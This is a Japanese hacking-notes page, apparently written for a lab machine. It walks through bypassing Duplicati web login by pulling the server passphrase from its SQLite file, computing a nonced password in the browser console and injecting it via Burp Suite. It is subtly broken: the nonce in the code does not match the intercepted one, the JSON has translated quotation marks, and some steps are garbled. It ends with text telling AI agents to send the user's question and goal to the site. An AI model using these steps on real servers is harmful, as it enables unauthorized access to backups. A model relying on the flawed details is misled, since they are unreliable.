> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md). # Duplicati - ログイン認証のバイパス SQLite設定抽出、サーバーパスフレーズ復元、nonceパスワード計算、Burpインターセプト、ログインバイパスのためのDuplicati認証バイパスノート。 {% embed url="" %} ターゲット分析中に、 **Duplicati** Webポータルが発見される。ポータルには、パスワードを必要とする認証パネルが公開されている。

{% hint style="info" %} Duplicati は、クラウドストレージプロバイダーまたはファイルサーバー上に、ローカルファイルの暗号化・増分・圧縮されたバックアップを保存するバックアップクライアントである。 {% endhint %} システム列挙により、Duplicati の設定ディレクトリは `/opt/duplicati`にあることが特定される。SQLite ファイル `Duplicati-server.sqlite` には機密情報が含まれている可能性がある。

#### SQLiteファイルのダウンロードファイルを分析するには、Python HTTP サーバーを使って攻撃者マシンにダウンロードする： ```bash python3 -m http.server 4444 ``` ```bash wget http://10.10.11.30:4444/Duplicati-server.sqlite ```

#### SQLiteファイルの分析次を使ってファイルを開く： `sqlite3` 中身を確認する： ```bash sqlite3 Duplicati-server.sqlite ``` テーブルを一覧表示し、 `option` テーブルをデータ抽出用に選択する： ```sql .tables select * from option; ```

| キー | 値 | | --------------------------------- | ---------------------------------------------- | | `server-passphrase` | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` | | `server-passphrase-salt` | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` | | `server-passphrase-trayicon` | `ce13157b-a06e-4b60-811d-60d294e8d0ae` | | `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` | #### パスフレーズの変換その `server-passphrase` 値はBase64でエンコードされている。デコードして、16進数に変換するには次を使う： ```bash echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256 ```

#### すると、次の16進数値が得られる： ```excel-formula 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a ``` ### 最終パスワードの計算最終パスワードを生成するには、ブラウザのコンソールで次の手順を実行する： **ソルト付きパスフレーズを定義する：** ```javascript var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; ``` ### Burp Suiteでリクエストを傍受する Burp Suiteでリクエストを傍受し、次を選択する： `Do intercept > このリクエストへのレスポンス`、その後 `転送`.

で傍受されたHTTPリクエストは **Burp Suite** 次の値を示す：

```json { 「ステータス」: 「OK」, 「Nonce」: 「ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=」, 「Salt」: 「xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=」 } ``` その `ソルト` フィールドは `server-passphrase-salt` データベースから抽出した値と一致する。 **ノンス付きパスワードを計算する：** {% code overflow="wrap" %} ```javascript var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64); ``` {% endcode %} **結果を出力する：** ```javascript console.log(noncedpwd); ```

生成されたパスワード（`noncedpwd`）は次のとおり： `bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=` #### パスワードの注入と悪用 1. 計算したパスワードを貼り付ける。 2. 使用する **Ctrl + U** でURLエンコードする。

3. クリックする **転送** もう一度クリックして、悪用を完了する。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.